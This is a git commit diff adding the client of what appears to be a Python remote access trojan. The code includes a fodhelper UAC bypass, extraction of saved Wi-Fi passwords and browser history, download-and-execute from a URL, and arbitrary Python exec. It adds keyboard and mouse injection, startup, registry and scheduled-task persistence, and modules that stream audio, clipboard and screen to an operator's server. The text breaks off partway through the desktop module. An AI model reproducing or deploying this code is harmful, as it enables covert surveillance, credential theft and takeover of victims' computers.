summaryrefslogtreecommitdiff
path: root/client
diff options
context:
space:
mode:
authorAL-LCL <alvin@alvinhavel.com>2023-05-19 10:39:49 +0200
committerAL-LCL <alvin@alvinhavel.com>2023-05-19 10:39:49 +0200
commit58ebd3bc0f00c532e97e9a5571471ffab87934ba (patch)
tree6e099e59af07206df6edf2b0c585d0c5a466d4bd /client
GOD-VIEWHEADmain
Diffstat (limited to 'client')
-rw-r--r--client/action.py772
-rw-r--r--client/autostart.py73
-rw-r--r--client/error.py72
-rw-r--r--client/helper.py63
-rw-r--r--client/modules/audio.py54
-rw-r--r--client/modules/clipper.py60
-rw-r--r--client/modules/desktop.py70
-rw-r--r--client/modules/keylogger.py85
-rw-r--r--client/modules/module.py20
-rw-r--r--client/modules/webcam.py81
-rw-r--r--client/shell.py70
-rw-r--r--client/socket.py119
-rw-r--r--client/state.py47
-rw-r--r--client/sysinfo.py256
14 files changed, 1842 insertions, 0 deletions
diff --git a/client/action.py b/client/action.py
new file mode 100644
index 0000000..e67e327
--- /dev/null
+++ b/client/action.py
@@ -0,0 +1,772 @@
+'''
+ Functions called upon request specific actions, both
+ defined server & client side & correctly registered.
+ Constitutes the majority of the client's work.
+
+ Verified: 2020 December 30 & 2021 2021 February 6
+ * Follows PEP8
+ * Tested Platforms
+ * Windows 10
+ * Third Party Modules
+ * VideoCapture (Windows)
+ * browser-history
+ * pyperclip
+ * GPUtil
+ * psutil
+ * pynput
+ * mss
+'''
+
+from client.modules.keylogger import Keylogger
+from client.modules.desktop import Desktop
+from client.modules.clipper import Clipper
+from client.modules.audio import Audio
+from client.state import ClientStatic
+from client.error import ClientError
+from shared.helper import Helper
+from shared.state import Static
+from client.shell import Shell
+from shared.error import Error
+from shared.data import Data
+
+import urllib.request
+import contextlib
+import webbrowser
+import mss.tools
+import pyperclip
+import zipfile
+import random
+import GPUtil
+import psutil
+import pynput
+import time
+import mss
+import io
+import os
+
+import browser_history
+# NOTE : Disable the default logging of the library
+browser_history.utils.logger.removeHandler(
+ browser_history.utils.handler)
+
+if Static.WINDOWS:
+ from client.modules.webcam import Webcam, Capture
+
+ import ctypes
+ import vidcap
+ import re
+
+ @Error.quiet_thread
+ def alert_action(title, text, symbol):
+ ctypes.windll.user32.MessageBoxW(0, text, title, symbol)
+
+ if Static.EXE:
+ from client.autostart import (AutoShell,
+ AutoRegistry,
+ AutoSchedule)
+
+ import winreg
+
+ class Escalate:
+
+ __REG_PATH = r'Software\Classes\ms-settings\shell\open\command'
+ __FOD_HELPER = r'C:\Windows\System32\fodhelper.exe'
+ __DELEGATE_EXEC_REG_KEY = 'DelegateExecute'
+
+ @staticmethod
+ def __create_reg_key(key, value):
+ winreg.CreateKey(winreg.HKEY_CURRENT_USER, Escalate.__REG_PATH)
+ reg_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER,
+ Escalate.__REG_PATH,
+ 0, winreg.KEY_WRITE)
+ winreg.SetValueEx(reg_key, key, 0, winreg.REG_SZ, value)
+ winreg.CloseKey(reg_key)
+
+ @staticmethod
+ def __delete_reg_key():
+ winreg.DeleteKey(winreg.HKEY_CURRENT_USER, Escalate.__REG_PATH)
+
+ @staticmethod
+ def start():
+ Escalate.__create_reg_key(
+ Escalate.__DELEGATE_EXEC_REG_KEY, None)
+ Escalate.__create_reg_key(None, Static.ROOT)
+ os.system(Escalate.__FOD_HELPER)
+ Escalate.__delete_reg_key()
+
+
+class Recover:
+
+ if Static.WINDOWS:
+ @staticmethod
+ def wifi():
+ headers, values = ('SSID', 'Authentication', 'Cipher',
+ 'Security Key', 'Password'), []
+
+ networks = Shell.run('netsh wlan show profile', True)
+ network_names = re.findall(r'(?:Profile\s*:\s)(.*)', networks)
+
+ for network_name in network_names:
+ try:
+ data = Shell.run(
+ 'netsh wlan show profile {} key=clear'.format(
+ network_name), True)
+
+ values.append((
+ re.findall(r'(?:SSID name\s*:\s)(.*)', data)[0][1:-1],
+ re.findall(r'(?:Authentication\s*:\s)(.*)', data)[0],
+ re.findall(r'(?:Cipher\s*:\s)(.*)', data)[0],
+ re.findall(r'(?:Security key\s*:\s)(.*)', data)[0],
+ re.findall(r'(?:Key Content\s*:\s)(.*)', data)[0]))
+ except Exception:
+ pass
+
+ return (values, headers)
+
+ @staticmethod
+ def history():
+ result = 'Row,Timestamp,URL\n'
+
+ for row, (timestamp, url) in enumerate(
+ browser_history.get_history().histories, 1):
+ result += '{},{},{}\n'.format(
+ row, Helper.timestamp(timestamp), url)
+
+ return result
+
+ @staticmethod
+ def bookmark():
+ result = 'Row,Timestamp,URL,Title,Folder\n'
+
+ for row, (timestamp, url, title, folder) in enumerate(
+ browser_history.get_bookmarks().bookmarks, 1):
+ result += '{},{},{},{},{}\n'.format(
+ row, Helper.timestamp(timestamp), url, title, folder)
+
+ return result
+
+
+class Sysinfo:
+
+ __FACTOR = 1024
+
+ @staticmethod
+ def get_size(bolter, suffix='B'):
+ for unit in ['', 'K', 'M', 'G', 'T', 'P']:
+ if bolter < Sysinfo.__FACTOR:
+ return f'{bolter:.2f}{unit}{suffix}'
+
+ bolter /= Sysinfo.__FACTOR
+
+ @staticmethod
+ def gpu():
+ headers, values = ('ID', 'Name', 'Load', 'Free Memory',
+ 'Used Memory', 'Total Memory',
+ 'Temperature', 'UUID'), []
+
+ for gpu in GPUtil.getGPUs():
+ values.append((gpu.id, gpu.name, f'{gpu.load * 100:.2f}%',
+ Sysinfo.get_size(gpu.memoryFree),
+ Sysinfo.get_size(gpu.memoryUsed),
+ Sysinfo.get_size(gpu.memoryTotal),
+ f'{gpu.temperature:.2f}C', gpu.uuid))
+
+ return (values, headers)
+
+ @staticmethod
+ def cpu():
+ cpu_frequency = psutil.cpu_freq()
+
+ headers, values = ('CPU Tag', 'Value'), [
+ ('Physical Cores', psutil.cpu_count(logical=False)),
+ ('Total Cores', psutil.cpu_count(logical=True)),
+ ('Max Frequency', f'{cpu_frequency.max:.2f}Mhz'),
+ ('Min Frequency', f'{cpu_frequency.min:.2f}Mhz'),
+ ('Current Frequency', f'{cpu_frequency.current:.2f}Mhz'),
+ ('Total CPU Usage', f'{psutil.cpu_percent():.2f}%')]
+
+ for core, percentage in enumerate(psutil.cpu_percent(
+ percpu=True, interval=1), 1):
+ values.append((f'Core {core} Usage', f'{percentage:.2f}%'))
+
+ return (values, headers)
+
+ @staticmethod
+ def memory():
+ virtual = psutil.virtual_memory()
+ swap = psutil.swap_memory()
+
+ headers, values = ('Memory Tag', 'Value'), (
+ ('Total Mem', Sysinfo.get_size(virtual.total)),
+ ('Available Mem', Sysinfo.get_size(virtual.available)),
+ ('Used Mem', Sysinfo.get_size(virtual.used)),
+ ('Percentage', f'{virtual.percent:.2f}%'),
+ ('Total Swap', Sysinfo.get_size(swap.total)),
+ ('Free Swap', Sysinfo.get_size(swap.free)),
+ ('Used Swap', Sysinfo.get_size(swap.used)),
+ ('Percentage Swap', f'{swap.percent:.2f}%'))
+
+ return (values, headers)
+
+ @staticmethod
+ def disk():
+ headers, values = ('Device', 'Mountpoint', 'File System',
+ 'Total Size', 'Used', 'Free', 'Percentage'), []
+
+ for partition in psutil.disk_partitions():
+ value = [partition.device,
+ partition.mountpoint,
+ partition.fstype]
+
+ try:
+ partition_usage = psutil.disk_usage(partition.mountpoint)
+ except PermissionError:
+ for _ in range(4):
+ value.append('')
+ else:
+ value.append(Sysinfo.get_size(partition_usage.total))
+ value.append(Sysinfo.get_size(partition_usage.used))
+ value.append(Sysinfo.get_size(partition_usage.free))
+ value.append(f'{partition_usage.percent:.2f}%')
+
+ values.append(value)
+
+ return (values, headers)
+
+ @staticmethod
+ def network():
+ headers, values = ('Interface', 'IP Address', 'MAC Address',
+ 'Netmask', 'Broadcast IP', 'Broadcast MAC'), []
+
+ for interface_name, interface_addresses \
+ in psutil.net_if_addrs().items():
+
+ for address in interface_addresses:
+ value = [interface_name]
+
+ if str(address.family) == 'AddressFamily.AF_INET':
+ value.append(address.address)
+ value.append('')
+ value.append(address.netmask)
+ value.append(address.broadcast)
+ value.append('')
+ elif str(address.family) == 'AddressFamily.AF_PACKET':
+ value.append('')
+ value.append(address.address)
+ value.append(address.netmask)
+ value.append('')
+ value.append(address.broadcast)
+ else:
+ for _ in range(5):
+ value.append('')
+
+ values.append(value)
+
+ return (values, headers)
+
+ @staticmethod
+ def io():
+ disk_io = psutil.disk_io_counters()
+ net_io = psutil.net_io_counters()
+
+ headers, values = ('IO Type Total Since Boot', 'Value'), (
+ ('File System Read', Sysinfo.get_size(disk_io.read_bytes)),
+ ('File System Write', Sysinfo.get_size(disk_io.write_bytes)),
+ ('Network Bytes Sent', Sysinfo.get_size(net_io.bytes_sent)),
+ ('Network Bytes Received', Sysinfo.get_size(net_io.bytes_recv)))
+
+ return (values, headers)
+
+
+class Process:
+
+ @staticmethod
+ def tasklist():
+ headers, values = ('PID', 'Name', 'Status',
+ 'CPU Usage', 'Memory Usage'), []
+
+ for process in psutil.process_iter():
+ value = [process.ppid(),
+ process.name(),
+ process.status(),
+ f'{process.cpu_percent():.2f}%']
+
+ try:
+ value.append(Sysinfo.get_size(
+ process.memory_full_info().uss))
+ except psutil.AccessDenied:
+ value.append('Access Denied')
+
+ values.append(value)
+
+ values.sort()
+ return (values, headers)
+
+ @staticmethod
+ def network():
+ headers, values = ('Local Address', 'Foreign Address',
+ 'Family', 'Protocol', 'Status', 'PID'), []
+
+ for process in psutil.net_connections():
+ try:
+ laddr, raddr, family, addr_type = ('', '',
+ str(process.family),
+ str(process.type))
+ if process.laddr:
+ laddr = '{}:{}'.format(*process.laddr)
+
+ if process.raddr:
+ raddr = '{}:{}'.format(*process.laddr)
+
+ if family.endswith('AF_INET'):
+ family = 'IPV4'
+ elif family.endswith('AF_INET6'):
+ family = 'IPV6'
+ else:
+ family = 'UNIX'
+
+ if addr_type.endswith('SOCK_STREAM'):
+ addr_type = 'TCP'
+ elif addr_type.endswith('SOCK_DGRAM'):
+ addr_type = 'UDP'
+ else:
+ addr_type = 'SCTP'
+
+ values.append((laddr, raddr, family, addr_type,
+ process.status, process.pid))
+ except Exception:
+ pass
+
+ values.sort()
+ return (values, headers)
+
+ @staticmethod
+ def kill(pid):
+ psutil.Process(pid).kill()
+
+
+class Inject:
+
+ def __init__(self):
+ self.__keyboard = pynput.keyboard.Controller()
+ self.__mouse = pynput.mouse.Controller()
+
+ def run(self, script):
+ for row, command in enumerate(script, 1):
+ command = command.split()
+ key, value = (command[0].lower(),
+ ' '.join(command[1:]))
+
+ if key == 'repeat':
+ for _ in range(int(value)):
+ self.run(script[row:])
+ else:
+ break
+ else:
+ self.__execute(key, value)
+
+ def __execute(self, key, value):
+ if key == 'press':
+ result = self.__key(value)
+ self.__keyboard.press(result)
+ self.__keyboard.release(result)
+ elif key == 'hold':
+ self.__keyboard.press(self.__key(value))
+ elif key == 'release':
+ self.__keyboard.release(self.__key(value))
+ elif key == 'type':
+ self.__keyboard.type(value)
+ elif key == 'position':
+ self.__mouse.position = tuple(self.__x_y(value))
+ elif key == 'move':
+ self.__mouse.move(*self.__x_y(value))
+ elif key == 'scroll':
+ self.__mouse.scroll(*self.__x_y(value))
+ elif key == 'mhold':
+ self.__mouse.press(self.__button(value))
+ elif key == 'mrelease':
+ self.__mouse.release(self.__button(value))
+ elif key == 'click':
+ result = self.__button(value)
+ self.__mouse.press(result)
+ self.__mouse.release(result)
+ elif key == 'dclick':
+ self.__mouse.click(self.__button(value), 2)
+ elif key == 'sleep':
+ time.sleep(float(value))
+ else:
+ raise SyntaxError('Injection Syntax Error')
+
+ def __x_y(self, value):
+ values = value.split()
+
+ if values[0].lower() == 'random':
+ numbers = [int(pos) for pos in
+ ' '.join(values[1:]).split(',')]
+ return (random.randint(*numbers[:2]),
+ random.randint(*numbers[2:4]))
+ else:
+ return (int(pos) for pos in value.split(','))
+
+ def __button(self, value):
+ return eval(f'pynput.mouse.Button.{value}')
+
+ def __key(self, value):
+ return eval(f'pynput.keyboard.Key.{value}')
+
+
+@ClientError.general
+def clipboard(request):
+ request, store = Helper.store(request, ('copy', 'empty'))
+
+ if store.copy:
+ pyperclip.copy(store.copy)
+ return Data.parse('Copied to clipboard',
+ status=Static.SUCCESS)
+ elif store.empty:
+ pyperclip.copy('')
+ return Data.parse('Clipboard emptied',
+ status=Static.SUCCESS)
+ else:
+ return Data.parse(pyperclip.paste(), raw=True)
+
+
+@ClientError.general
+def screenshot(request):
+ request, store = Helper.store(request, ('monitor',))
+ assert type(store.monitor) is int, 'Client Argument Error'
+
+ with mss.mss() as sct:
+ size = sct.monitors[store.monitor]
+ raw_bytes = sct.grab(size)
+ raw_bytes = mss.tools.to_png(raw_bytes.rgb,
+ raw_bytes.size)
+
+ return Data.parse('Screenshot taken (monitor {}, {}x{})'.format(
+ store.monitor, size['width'], size['height']),
+ status=Static.SUCCESS,
+ custom=Data.b64encode(raw_bytes))
+
+
+@ClientError.general
+def snapshot(request):
+ if Static.WINDOWS:
+ request, store = Helper.store(request, ('device',))
+ assert (type(store.device) is int
+ and store.device > 0), 'Client Argument Error'
+
+ device = vidcap.new_Dev(store.device - 1, False)
+ buffer, width, height = device.getbuffer()
+ raw_bytes = mss.tools.to_png(buffer, (width, height))
+
+ return Data.parse('Snapshot taken (device {}, {}x{}, {})'.format(
+ store.device, width, height, device.getdisplayname()),
+ status=Static.SUCCESS,
+ custom=Data.b64encode(raw_bytes))
+ else:
+ raise OSError('Feature Not Available')
+
+
+@ClientError.general
+def python(request):
+ request, store = Helper.store(request, ('exec',))
+ assert store.exec, 'Client Argument Error'
+
+ buffer = io.StringIO()
+
+ with contextlib.redirect_stdout(buffer):
+ exec(store.exec)
+
+ return Data.parse(buffer.getvalue(), raw=True)
+
+
+@ClientError.general
+def inject(request):
+ request, store = Helper.store(request, ('exec', 'unblock'))
+ assert store.exec and type(store.exec) is list, 'Client Argument Error'
+
+ if store.unblock:
+ Helper.thread(Error.quiet_thread(Inject().run), store.exec)
+ return Data.parse('Injection started', status=Static.INFO)
+ else:
+ Inject().run(store.exec)
+ return Data.parse('Injection complete',
+ status=Static.SUCCESS)
+
+
+@ClientError.general
+def browse(request):
+ request, store = Helper.store(request, ('url',))
+ assert store.url and type(store.url) is list, 'Client Argument Error'
+
+ for url in store.url:
+ webbrowser.open(url, 1)
+
+ return Data.parse('URL{} opened'.format(
+ Helper.plural(store.url)), status=Static.SUCCESS)
+
+
+@ClientError.general
+def alert(request):
+ request, store = Helper.store(request, ('title', 'text', 'symbol'))
+ assert all((store.title, store.text,
+ store.symbol in (16, 32, 48, 64))), 'Client Argument Error'
+
+ if Static.WINDOWS:
+ Helper.thread(alert_action, store.title,
+ store.text, store.symbol)
+ return Data.parse('Messagebox shown',
+ status=Static.SUCCESS)
+ else:
+ raise OSError('Feature Not Available')
+
+
+@ClientError.general
+def system(request):
+ request, store = Helper.store(request, ('shutdown', 'restart',
+ 'logout', 'hibernate',
+ 'standby'))
+ assert any((store.shutdown, store.restart,
+ store.logout, store.hibernate,
+ store.standby)), 'Client Argument Error'
+
+ if Static.WINDOWS:
+ if store.shutdown:
+ os.system('shutdown /p /f')
+ return Data.parse('Shutdown complete',
+ status=Static.SUCCESS)
+ elif store.restart:
+ os.system('shutdown /r /f /t 0')
+ return Data.parse('Restart complete',
+ status=Static.SUCCESS)
+ elif store.logout:
+ os.system('shutdown /l /f')
+ return Data.parse('Logout complete',
+ status=Static.SUCCESS)
+ elif store.hibernate:
+ os.system('shutdown /h')
+ return Data.parse('Hibernate complete',
+ status=Static.SUCCESS)
+ else:
+ os.system('rundll32.exe powrprof.dll,SetSuspendState 0,1,0')
+ return Data.parse('Standby complete',
+ status=Static.SUCCESS)
+ else:
+ raise OSError('Feature Not Available')
+
+
+@ClientError.general
+def download(request):
+ request, store = Helper.store(request, ('file', 'dir'))
+ assert store.file or store.dir, 'Client Argument Error'
+
+ if store.file:
+ assert os.path.isfile(store.file), 'File Not Found'
+ return Data.parse(f'Download complete ({store.file})',
+ status=Static.SUCCESS,
+ custom=Data.b64encode(Helper.read_file(
+ store.file, Helper.READ_BYTES)))
+ else:
+ assert os.path.isdir(store.dir), 'Directory Not Found'
+
+ buffer = io.BytesIO()
+ relroot = os.path.abspath(
+ os.path.join(store.dir, os.pardir))
+
+ with zipfile.ZipFile(buffer, Helper.WRITE,
+ zipfile.ZIP_DEFLATED) as archive:
+ for root, _, files in os.walk(store.dir):
+ archive.write(root, os.path.relpath(root, relroot))
+
+ for file in files:
+ filename = os.path.join(root, file)
+
+ if os.path.isfile(filename):
+ arcname = os.path.join(
+ os.path.relpath(root, relroot), file)
+ archive.write(filename, arcname)
+
+ return Data.parse(f'Download complete ({store.dir})',
+ status=Static.SUCCESS,
+ custom=Data.b64encode(buffer.getvalue()))
+
+
+@ClientError.general
+def upload(request):
+ request, store = Helper.store(request, ('file', 'url',
+ 'execute', 'custom'))
+ assert store.url or (store.file and store.custom), 'Client Argument Error'
+
+ if store.file:
+ Helper.write_file(store.file, Data.b64decode(
+ store.custom), Helper.WRITE_BYTES)
+
+ if store.execute:
+ Helper.start(store.file)
+
+ return Data.parse(f'Upload complete ({store.file})',
+ status=Static.SUCCESS)
+ else:
+ filename = os.path.split(store.url)[1]
+ Helper.write_file(filename, urllib.request.urlopen(
+ store.url).read(), Helper.WRITE_BYTES)
+
+ if store.execute:
+ Helper.start(filename)
+
+ return Data.parse(f'URL upload complete ({store.url})',
+ status=Static.SUCCESS)
+
+
+@ClientError.general
+def escalate(request):
+ assert Static.EXE, 'Requires Executable Build'
+
+ if Static.WINDOWS:
+ Escalate.start()
+ return Data.parse('Escalation started',
+ status=Static.INFO)
+ else:
+ raise OSError('Feature Not Available')
+
+
+@ClientError.general
+def autostart(request):
+ assert Static.EXE, 'Requires Executable Build'
+
+ request, store = Helper.store(request, ('shell', 'registry', 'schedule'))
+ assert any((store.shell, store.registry,
+ store.schedule)), 'Client Argument Error'
+
+ if Static.WINDOWS:
+ if store.shell:
+ AutoShell.install()
+ return Data.parse('Added to startup directory',
+ status=Static.SUCCESS)
+ elif store.registry:
+ AutoRegistry.install()
+ return Data.parse('Added to registry startup',
+ status=Static.SUCCESS)
+ else:
+ AutoSchedule.install()
+ return Data.parse('Added to task scheduler',
+ status=Static.SUCCESS)
+ else:
+ raise OSError('Feature Not Available')
+
+
+@ClientError.general
+def recover(request):
+ request, store = Helper.store(request, ('wifi', 'history', 'bookmark'))
+ assert any((store.wifi, store.history,
+ store.bookmark)), 'Client Argument Error'
+
+ if store.wifi:
+ if Static.WINDOWS:
+ return Data.message(Recover.wifi())
+ else:
+ raise OSError('Feature Not Available')
+ elif store.history:
+ return Data.parse('History downloaded',
+ status=Static.SUCCESS,
+ custom=Recover.history())
+ else:
+ return Data.parse('Bookmarks downloaded',
+ status=Static.SUCCESS,
+ custom=Recover.bookmark())
+
+
+@ClientError.general
+def process(request):
+ request, store = Helper.store(request, ('kill', 'tasklist', 'network'))
+ assert any((store.kill, store.tasklist,
+ store.network)), 'Client Argument Error'
+
+ if store.tasklist:
+ return Data.message(Process.tasklist())
+ elif store.network:
+ return Data.message(Process.network())
+ else:
+ Process.kill(int(store.kill))
+ return Data.parse(f'Process killed ({store.kill})',
+ status=Static.SUCCESS)
+
+
+@ClientError.general
+def sysinfo(request):
+ request, store = Helper.store(request, ('gpu', 'cpu', 'memory',
+ 'disk', 'network', 'io'))
+ assert any((store.gpu, store.cpu, store.memory, store.disk,
+ store.network, store.io)), 'Client Argument Error'
+
+ if store.gpu:
+ return Data.message(Sysinfo.gpu())
+ elif store.cpu:
+ return Data.message(Sysinfo.cpu())
+ elif store.memory:
+ return Data.message(Sysinfo.memory())
+ elif store.disk:
+ return Data.message(Sysinfo.disk())
+ elif store.network:
+ return Data.message(Sysinfo.network())
+ else:
+ return Data.message(Sysinfo.io())
+
+
+@ClientError.general
+def desktop(request):
+ request, store = Helper.store(request, ('monitor', 'token'))
+ assert type(store.monitor) is int and store.token, \
+ 'Client Argument Error'
+
+ Desktop(store.token).live(store.monitor)
+ return Data.parse(f'Desktop stream started (monitor {store.monitor})',
+ status=Static.INFO)
+
+
+@ClientError.general
+def webcam(request):
+ if Static.WINDOWS:
+ request, store = Helper.store(request, ('device', 'token'))
+ assert (type(store.device) is int and store.device > 0
+ and store.token), 'Client Argument Error'
+
+ device = vidcap.new_Dev(store.device - 1, False)
+ ClientStatic.WEBCAM[store.token] = Capture(device)
+ Webcam(store.token).live()
+
+ return Data.parse('Webcam stream started (device {}, {})'.format(
+ store.device, device.getdisplayname()), status=Static.INFO)
+ else:
+ raise OSError('Feature Not Available')
+
+
+@ClientError.general
+def audio(request):
+ request, store = Helper.store(request, ('channels', 'rate', 'token'))
+ assert (type(store.channels) is int and type(store.rate) is int
+ and store.token), 'Client Argument Error'
+
+ Audio(store.token).live(store.channels, store.rate)
+ return Data.parse('Audio stream started',
+ status=Static.INFO)
+
+
+@ClientError.general
+def keylogger(request):
+ request, store = Helper.store(request, ('token',))
+ assert store.token, 'Client Argument Error'
+
+ Keylogger(store.token).live()
+ return Data.parse('Keylogger started',
+ status=Static.INFO)
+
+
+@ClientError.general
+def clipper(request):
+ request, store = Helper.store(request, ('token',))
+ assert store.token, 'Client Argument Error'
+
+ Clipper(store.token).live()
+ return Data.parse('Clipper started',
+ status=Static.INFO)
diff --git a/client/autostart.py b/client/autostart.py
new file mode 100644
index 0000000..d980a06
--- /dev/null
+++ b/client/autostart.py
@@ -0,0 +1,73 @@
+'''
+ Handles multiple powerful persistence
+ alternatives with classes that install
+ & uninstall these methods.
+
+ Verified: 2021 February 6
+ * Follows PEP8
+ * Tested Platforms
+ * Windows 10
+'''
+
+from client.state import ClientStatic
+from shared.helper import Helper
+from shared.state import Static
+
+import os
+
+
+class AutoShell:
+
+ __STARTUP_DATA = Helper.join('[InternetShortcut]',
+ f'URL=file://{Static.ROOT}')
+ __STARTUP_PATH = (os.environ['APPDATA']
+ + r'\Microsoft\Windows\Start Menu'
+ + r'\Programs\Startup\{}.url'.format(
+ ClientStatic.NAME))
+
+ @staticmethod
+ def install():
+ Helper.write_file(AutoShell.__STARTUP_PATH,
+ AutoShell.__STARTUP_DATA,
+ Helper.WRITE)
+
+ @staticmethod
+ def uninstall():
+ try:
+ os.remove(AutoShell.__STARTUP_PATH)
+ except OSError:
+ pass
+
+
+class AutoRegistry:
+
+ __REG_KEY = (r'HKEY_LOCAL_MACHINE\SOFTWARE\Micro'
+ r'soft\Windows\CurrentVersion\Run')
+
+ @staticmethod
+ def install():
+ assert Helper.run('reg.exe add {} /v "{}" /t reg_sz /f /d "{}"'.format(
+ AutoRegistry.__REG_KEY, ClientStatic.NAME, Static.ROOT
+ ), True), 'Registry install failed'
+
+ @staticmethod
+ def uninstall():
+ assert Helper.run('reg.exe delete {} /f'.format(
+ AutoRegistry.__REG_KEY
+ ), True), 'Registry uninstall failed'
+
+
+class AutoSchedule:
+
+ @staticmethod
+ def install():
+ assert Helper.run((
+ 'schtasks.exe /create /f /sc onlogon /rl highest '
+ f'/tn "{ClientStatic.NAME}" /tr "{Static.ROOT}"'
+ ), True), 'Task scheduler install failed'
+
+ @staticmethod
+ def uninstall():
+ assert Helper.run('schtasks.exe /delete /f /tn "{}"'.format(
+ ClientStatic.NAME
+ ), True), 'Task scheduler uninstall failed'
diff --git a/client/error.py b/client/error.py
new file mode 100644
index 0000000..2956271
--- /dev/null
+++ b/client/error.py
@@ -0,0 +1,72 @@
+'''
+ Error handling client decorators, to provide
+ useful information sent back to the server or
+ handle critical errors accordingly.
+
+ Verified: 2020 December 30 & 2021 February 6
+ * Follows PEP8
+ * Tested Platforms
+ * Windows 10
+'''
+
+from client.state import ClientStatic
+from shared.helper import Helper
+from shared.state import Static
+from shared.data import Data
+
+import sys
+
+if Static.EXE:
+ from client.helper import ClientHelper
+
+ import time
+
+
+class ReconnectError(Exception):
+ pass
+
+
+class ClientError:
+
+ if Static.EXE:
+ __RECONNECT_TIMER = 10
+
+ @staticmethod
+ def general(callback):
+ def wrapper(*args, **kwargs):
+ try:
+ return callback(*args, **kwargs)
+ except Exception as error:
+ return Data.parse(Helper.join(
+ 'Client Side Execution Failed',
+ f'{type(error).__name__}: {error}'
+ ), status=Static.DANGER)
+
+ return wrapper
+
+ @staticmethod
+ def critical(callback):
+ def wrapper(*args, **kwargs):
+ try:
+ return callback(*args, **kwargs)
+ except SystemExit:
+ raise
+ except ReconnectError:
+ if Static.EXE:
+ ClientHelper.restart()
+ else:
+ sys.exit()
+ except TimeoutError:
+ if Static.EXE:
+ time.sleep(ClientError.__RECONNECT_TIMER)
+ ClientHelper.restart()
+ else:
+ sys.exit()
+ except Exception:
+ if Static.EXE and ClientStatic.STICKY:
+ time.sleep(ClientError.__RECONNECT_TIMER)
+ ClientHelper.restart()
+ else:
+ sys.exit()
+
+ return wrapper
diff --git a/client/helper.py b/client/helper.py
new file mode 100644
index 0000000..2c90a52
--- /dev/null
+++ b/client/helper.py
@@ -0,0 +1,63 @@
+'''
+ General helper functions to improve order
+ & flow of the client program.
+
+ Verified: 2020 December 30 & 2021 February 6
+ * Follows PEP8
+ * Tested Platforms
+ * Windows 10
+'''
+
+from client.state import ClientStatic
+from shared.helper import Helper
+from shared.state import Static
+
+import sys
+
+if Static.EXE:
+ if Static.WINDOWS:
+ from client.autostart import (AutoShell,
+ AutoRegistry,
+ AutoSchedule)
+
+ from shared.error import Error
+
+ import os
+
+
+class ClientHelper:
+
+ @staticmethod
+ def secure(callback):
+ try:
+ result = callback()
+ assert type(result) is str
+ return result
+ except Exception:
+ return ClientStatic.DEFAULT
+
+ @staticmethod
+ def plural_int(number):
+ if number == 1:
+ return ''
+ else:
+ return 's'
+
+ @staticmethod
+ def restart():
+ try:
+ sys.exit()
+ finally:
+ Helper.start(Static.ROOT)
+
+ @staticmethod
+ def uninstall():
+ if Static.EXE:
+ if Static.WINDOWS:
+ AutoShell.uninstall()
+ Error.quiet(AutoRegistry.uninstall)()
+ Error.quiet(AutoSchedule.uninstall)()
+
+ Error.quiet(os.remove)(Static.ROOT)
+
+ sys.exit()
diff --git a/client/modules/audio.py b/client/modules/audio.py
new file mode 100644
index 0000000..db37a6e
--- /dev/null
+++ b/client/modules/audio.py
@@ -0,0 +1,54 @@
+'''
+ Creates a connection to the server, sending a stream
+ of audio data using the specified channels & rate.
+
+ Verified: 2021 February 6
+ * Follows PEP8
+ * Tested Platforms
+ * Windows 10
+ * Third Party Modules
+ * pyaudio
+'''
+
+from client.modules.module import Module
+from shared.helper import Helper
+from shared.state import Static
+from shared.error import Error
+from shared.data import Data
+
+import pyaudio
+import socket
+
+
+class Audio(Module):
+
+ def __init__(self, token):
+ super().__init__(token)
+ self.__audio = pyaudio.PyAudio()
+
+ @Error.quiet_thread
+ def __send(self, channels, rate):
+ try:
+ stream = self.__audio.open(format=pyaudio.paInt16,
+ channels=channels, rate=rate,
+ frames_per_buffer=Data.BUFFER_SIZE,
+ input=True)
+
+ try:
+ with socket.create_connection(
+ (Static.IP, Static.PORT)) as sock:
+ Data.send(sock, self.token)
+ Data.recv(sock)
+
+ while True:
+ Data.send(sock, stream.read(
+ Data.BUFFER_SIZE), False)
+ Data.recv(sock)
+ finally:
+ stream.stop_stream()
+ stream.close()
+ finally:
+ self.__audio.terminate()
+
+ def live(self, channels, rate):
+ Helper.thread(self.__send, channels, rate)
diff --git a/client/modules/clipper.py b/client/modules/clipper.py
new file mode 100644
index 0000000..ede15de
--- /dev/null
+++ b/client/modules/clipper.py
@@ -0,0 +1,60 @@
+'''
+ Creates a connection to the server, sending the
+ clipboard data in intervals as long as its not
+ the same data as before.
+
+ Verified: 2021 February 6
+ * Follows PEP8
+ * Tested Platforms
+ * Windows 10
+ * Third Party Modules
+ * pyperclip
+'''
+
+from client.modules.module import Module
+from shared.helper import Helper
+from shared.state import Static
+from shared.error import Error
+from shared.data import Data
+
+import pyperclip
+import socket
+import time
+
+
+class Clipper(Module):
+
+ __INTERVAL = Static.LIVE_TIMEOUT / 2
+
+ def __init__(self, token):
+ super().__init__(token)
+ self.__first = True
+ self.__before = ''
+
+ @Error.quiet_thread
+ def __send(self):
+ with socket.create_connection(
+ (Static.IP, Static.PORT)) as sock:
+ Data.send(sock, self.token)
+ Data.recv(sock)
+
+ while True:
+ paste = data = pyperclip.paste()
+
+ if paste == self.__before:
+ data = ''
+ else:
+ if self.__first:
+ self.__first = False
+ data = f'{Helper.timestamp()}:{paste}'
+ else:
+ data = f'\n{Helper.timestamp()}:{paste}'
+
+ Data.send(sock, data)
+ Data.recv(sock)
+
+ self.__before = paste
+ time.sleep(Clipper.__INTERVAL)
+
+ def live(self):
+ Helper.thread(self.__send)
diff --git a/client/modules/desktop.py b/client/modules/desktop.py
new file mode 100644
index 0000000..bb38e1a
--- /dev/null
+++ b/client/modules/desktop.py
@@ -0,0 +1,70 @@
+'''
+ Creates a connection to the server, sending a stream
+ of screenshots from the specified monitor. Splitting
+ up the work in to two threads, one for taking the
+ screenshot, the other to send it.
+
+ Verified: 2021 February 6
+ * Follows PEP8
+ * Tested Platforms
+ * Windows 10
+ * Third Party Modules
+ * mss
+'''
+
+from client.modules.module import Module
+from shared.helper import Helper
+from shared.state import Static
+from shared.error import Error
+from shared.data import Data
+
+import mss.tools
+import socket
+import queue
+import mss
+
+if Static.WINDOWS:
+ import ctypes
+
+ # NOTE : Sets monitor DPI (zoom) to 100%,
+ # laptops usually have their DPI set to 125%,
+ # by default which this line will fix
+ Error.quiet(
+ ctypes.windll.user32.SetProcessDPIAware)()
+
+
+class Desktop(Module):
+
+ __MAX_SIZE = 1
+
+ def __init__(self, token):
+ super().__init__(token)
+ self.__queue = queue.Queue(Desktop.__MAX_SIZE)
+
+ @Error.quiet_thread
